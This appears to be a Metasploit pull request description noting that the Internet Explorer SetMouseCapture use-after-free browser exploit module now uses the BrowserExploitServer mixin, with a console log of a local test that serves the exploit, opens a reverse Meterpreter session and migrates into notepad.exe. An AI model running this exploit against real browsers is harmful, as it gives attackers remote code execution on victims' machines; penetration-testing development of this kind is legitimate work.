Use BrowserExploitServer mixin for ie_setmousecapture_uaf.rb

Instead of the usual HttpServer::HTML, this module now uses the BrowserExploitServer mixin - smarter and more targeted.

Demo:

```
$ git status
# On branch ie_setmousecapture_uaf_bes_update
nothing to commit, working directory clean
$ msfconsole -q
msf > use exploit/windows/browser/ie_setmousecapture_uaf 
msf exploit(ie_setmousecapture_uaf) > run
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.1.76:4444 
[*] Using URL: http://0.0.0.0:8080/gXMD87QbquZMz
[*]  Local IP: http://10.0.1.76:8080/gXMD87QbquZMz
[*] Server started.
msf exploit(ie_setmousecapture_uaf) > [*] 10.0.1.76        ie_setmousecapture_uaf - Gathering target information.
[*] 10.0.1.76        ie_setmousecapture_uaf - Sending response HTML.
[*] Sending stage (769536 bytes) to 10.0.1.76
[*] Meterpreter session 1 opened (10.0.1.76:4444 -> 10.0.1.76:61866) at 2014-03-25 18:45:36 -0500
[*] Session ID 1 (10.0.1.76:4444 -> 10.0.1.76:61866) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: rundll32.exe (1240)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2036
[+] Successfully migrated to process 

msf exploit(ie_setmousecapture_uaf) >
```